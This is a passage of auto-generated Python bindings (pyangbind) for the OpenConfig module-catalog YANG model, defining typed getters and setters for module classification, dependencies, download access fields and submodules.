'oc-cat-types:IETF_MODEL_LAYER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_NETWORK_SERVICE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_NETWORK_SERVICE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_NETWORK_ELEMENT': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_NETWORK_ELEMENT': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="category", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True)""", }) self.__category = t if hasattr(self, '_set'): self._set() def _unset_category(self): self.__category = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IETF_MODEL_LAYER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_MODEL_LAYER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_NETWORK_SERVICE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_NETWORK_SERVICE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_NETWORK_ELEMENT': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_NETWORK_ELEMENT': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="category", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) def _get_subcategory(self): """ Getter method for subcategory, mapped from YANG variable /organizations/organization/modules/module/classification/subcategory (identityref) YANG Description: Sub-categorization of the module based on identities defined or used by the publishing organizations. """ return self.__subcategory def _set_subcategory(self, v, load=False): """ Setter method for subcategory, mapped from YANG variable /organizations/organization/modules/module/classification/subcategory (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_subcategory is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_subcategory() directly. YANG Description: Sub-categorization of the module based on identities defined or used by the publishing organizations. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IETF_MODEL_TYPE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_MODEL_TYPE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_STANDARD': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_STANDARD': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_VENDOR': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_VENDOR': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_USER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_USER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="subcategory", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """subcategory must be of a type compatible with identityref""", 'defined-type': "openconfig-module-catalog:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IETF_MODEL_TYPE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_MODEL_TYPE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_STANDARD': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_STANDARD': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_VENDOR': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_VENDOR': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_USER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_USER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="subcategory", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True)""", }) self.__subcategory = t if hasattr(self, '_set'): self._set() def _unset_subcategory(self): self.__subcategory = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IETF_MODEL_TYPE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_MODEL_TYPE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_STANDARD': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_STANDARD': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_VENDOR': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_VENDOR': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_USER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_USER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="subcategory", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) def _get_deployment_status(self): """ Getter method for deployment_status, mapped from YANG variable /organizations/organization/modules/module/classification/deployment_status (identityref) YANG Description: Deployment status of the module -- experimental, standards-track, production, etc. """ return self.__deployment_status def _set_deployment_status(self, v, load=False): """ Setter method for deployment_status, mapped from YANG variable /organizations/organization/modules/module/classification/deployment_status (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_deployment_status is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_deployment_status() directly. YANG Description: Deployment status of the module -- experimental, standards-track, production, etc. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'EXPERIMENTAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:EXPERIMENTAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PRODUCTION': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PRODUCTION': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="deployment-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """deployment_status must be of a type compatible with identityref""", 'defined-type': "openconfig-module-catalog:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'EXPERIMENTAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:EXPERIMENTAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PRODUCTION': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PRODUCTION': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="deployment-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True)""", }) self.__deployment_status = t if hasattr(self, '_set'): self._set() def _unset_deployment_status(self): self.__deployment_status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'EXPERIMENTAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:EXPERIMENTAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PRODUCTION': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PRODUCTION': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="deployment-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) category = __builtin__.property(_get_category, _set_category) subcategory = __builtin__.property(_get_subcategory, _set_subcategory) deployment_status = __builtin__.property(_get_deployment_status, _set_deployment_status) _pyangbind_elements = OrderedDict([('category', category), ('subcategory', subcategory), ('deployment_status', deployment_status), ]) class yc_dependencies_openconfig_module_catalog__organizations_organization_modules_module_dependencies(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/modules/module/dependencies. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Data about dependencies of the module """ __slots__ = ('_path_helper', '_extmethods', '__required_module',) _yang_name = 'dependencies' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__required_module = YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="required-module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'modules', 'module', 'dependencies'] def _get_required_module(self): """ Getter method for required_module, mapped from YANG variable /organizations/organization/modules/module/dependencies/required_module (string) YANG Description: List of names of modules that are imported by the current module. This list should reflect all of the 'import' statements in the module. Release bundles should be used to indicate which versions of the imported module are used (or are compatible) with the current module """ return self.__required_module def _set_required_module(self, v, load=False): """ Setter method for required_module, mapped from YANG variable /organizations/organization/modules/module/dependencies/required_module (string) If this variable is read-only (config: false) in the source YANG file, then _set_required_module is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_required_module() directly. YANG Description: List of names of modules that are imported by the current module. This list should reflect all of the 'import' statements in the module. Release bundles should be used to indicate which versions of the imported module are used (or are compatible) with the current module """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="required-module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """required_module must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="required-module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__required_module = t if hasattr(self, '_set'): self._set() def _unset_required_module(self): self.__required_module = YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="required-module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) required_module = __builtin__.property(_get_required_module, _set_required_module) _pyangbind_elements = OrderedDict([('required_module', required_module), ]) class yc_access_openconfig_module_catalog__organizations_organization_modules_module_access(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/modules/module/access. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Container for data pertaining to retrieval and usage of the module """ __slots__ = ('_path_helper', '_extmethods', '__uri','__md5_hash',) _yang_name = 'access' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__uri = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="uri", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-inet:uri', is_config=True) self.__md5_hash = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="md5-hash", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'modules', 'module', 'access'] def _get_uri(self): """ Getter method for uri, mapped from YANG variable /organizations/organization/modules/module/access/uri (oc-inet:uri) YANG Description: URI where module can be downloaded. Modules may be made available from the catalog maintainer, or directly from the publisher """ return self.__uri def _set_uri(self, v, load=False): """ Setter method for uri, mapped from YANG variable /organizations/organization/modules/module/access/uri (oc-inet:uri) If this variable is read-only (config: false) in the source YANG file, then _set_uri is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_uri() directly. YANG Description: URI where module can be downloaded. Modules may be made available from the catalog maintainer, or directly from the publisher """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="uri", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-inet:uri', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """uri must be of a type compatible with oc-inet:uri""", 'defined-type': "oc-inet:uri", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="uri", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-inet:uri', is_config=True)""", }) self.__uri = t if hasattr(self, '_set'): self._set() def _unset_uri(self): self.__uri = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="uri", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-inet:uri', is_config=True) def _get_md5_hash(self): """ Getter method for md5_hash, mapped from YANG variable /organizations/organization/modules/module/access/md5_hash (string) YANG Description: Optional MD5 hash of the module file. If specified, the hash may be used by users to validate data integrity """ return self.__md5_hash def _set_md5_hash(self, v, load=False): """ Setter method for md5_hash, mapped from YANG variable /organizations/organization/modules/module/access/md5_hash (string) If this variable is read-only (config: false) in the source YANG file, then _set_md5_hash is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_md5_hash() directly. YANG Description: Optional MD5 hash of the module file. If specified, the hash may be used by users to validate data integrity """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="md5-hash", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """md5_hash must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="md5-hash", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__md5_hash = t if hasattr(self, '_set'): self._set() def _unset_md5_hash(self): self.__md5_hash = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="md5-hash", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) uri = __builtin__.property(_get_uri, _set_uri) md5_hash = __builtin__.property(_get_md5_hash, _set_md5_hash) _pyangbind_elements = OrderedDict([('uri', uri), ('md5_hash', md5_hash), ]) class yc_access_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule_access(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/modules/module/submodules/submodule/access. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Container for data pertaining to retrieval and usage of the module """ __slots__ = ('_path_helper', '_extmethods', '__uri','__md5_hash',) _yang_name = 'access' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__uri = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="uri", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-inet:uri', is_config=True) self.__md5_hash = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="md5-hash", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'modules', 'module', 'submodules', 'submodule', 'access'] def _get_uri(self): """ Getter method for uri, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule/access/uri (oc-inet:uri) YANG Description: URI where module can be downloaded. Modules may be made available from the catalog maintainer, or directly from the publisher """ return self.__uri def _set_uri(self, v, load=False): """ Setter method for uri, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule/access/uri (oc-inet:uri) If this variable is read-only (config: false) in the source YANG file, then _set_uri is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_uri() directly. YANG Description: URI where module can be downloaded. Modules may be made available from the catalog maintainer, or directly from the publisher """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="uri", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-inet:uri', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """uri must be of a type compatible with oc-inet:uri""", 'defined-type': "oc-inet:uri", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="uri", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-inet:uri', is_config=True)""", }) self.__uri = t if hasattr(self, '_set'): self._set() def _unset_uri(self): self.__uri = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="uri", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-inet:uri', is_config=True) def _get_md5_hash(self): """ Getter method for md5_hash, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule/access/md5_hash (string) YANG Description: Optional MD5 hash of the module file. If specified, the hash may be used by users to validate data integrity """ return self.__md5_hash def _set_md5_hash(self, v, load=False): """ Setter method for md5_hash, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule/access/md5_hash (string) If this variable is read-only (config: false) in the source YANG file, then _set_md5_hash is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_md5_hash() directly. YANG Description: Optional MD5 hash of the module file. If specified, the hash may be used by users to validate data integrity """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="md5-hash", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """md5_hash must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="md5-hash", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__md5_hash = t if hasattr(self, '_set'): self._set() def _unset_md5_hash(self): self.__md5_hash = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="md5-hash", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) uri = __builtin__.property(_get_uri, _set_uri) md5_hash = __builtin__.property(_get_md5_hash, _set_md5_hash) _pyangbind_elements = OrderedDict([('uri', uri), ('md5_hash', md5_hash), ]) class yc_submodule_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/modules/module/submodules/submodule. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of submodules included by a module. All submodules specified by 'include' statements in the module should be included in this list. """ __slots__ = ('_path_helper', '_extmethods', '__name','__access',) _yang_name = 'submodule' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__access = YANGDynClass(base=yc_access_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule_access, is_container='container', yang_name="access", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'modules', 'module', 'submodules', 'submodule'] def _get_name(self): """ Getter method for name, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule/name (string) YANG Description: Name of the submodule as indicated by its top-level 'submodule' statement """ return self.__name def _set_name(self, v, load=False): """ Setter method for name, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule/name (string) If this variable is read-only (config: false) in the source YANG file, then _set_name is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_name() directly. YANG Description: Name of the submodule as indicated by its top-level 'submodule' statement """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """name must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__name = t if hasattr(self, '_set'): self._set() def _unset_name(self): self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_access(self): """ Getter method for access, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule/access (container) YANG Description: Container for data pertaining to retrieval and usage of the module """ return self.__access def _set_access(self, v, load=False): """ Setter method for access, mapped from YANG variable /organizations/organization/modules/module/submodules/submodule/access (container) If this variable is read-only (config: false) in the source YANG file, then _set_access is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_access() directly. YANG Description: Container for data pertaining to retrieval and usage of the module """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_access_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule_access, is_container='container', yang_name="access", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """access must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_access_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule_access, is_container='container', yang_name="access", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__access = t if hasattr(self, '_set'): self._set() def _unset_access(self): self.__access = YANGDynClass(base=yc_access_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule_access, is_container='container', yang_name="access", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) name = __builtin__.property(_get_name, _set_name) access = __builtin__.property(_get_access, _set_access) _pyangbind_elements = OrderedDict([('name', name), ('access', access), ]) class yc_submodules_openconfig_module_catalog__organizations_organization_modules_module_submodules(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/modules/module/submodules. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Data for the submodules belonging to a submodule. If the module does not have any submodules, this container should be empty. """ __slots__ = ('_path_helper', '_extmethods', '__submodule',) _yang_name = 'submodules' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__submodule = YANGDynClass(base=YANGListType("name",yc_submodule_openconfig_module_catalog__organizations_organization_modules_module_submodules_submodule, yang_name="submodule", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="submodule", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, 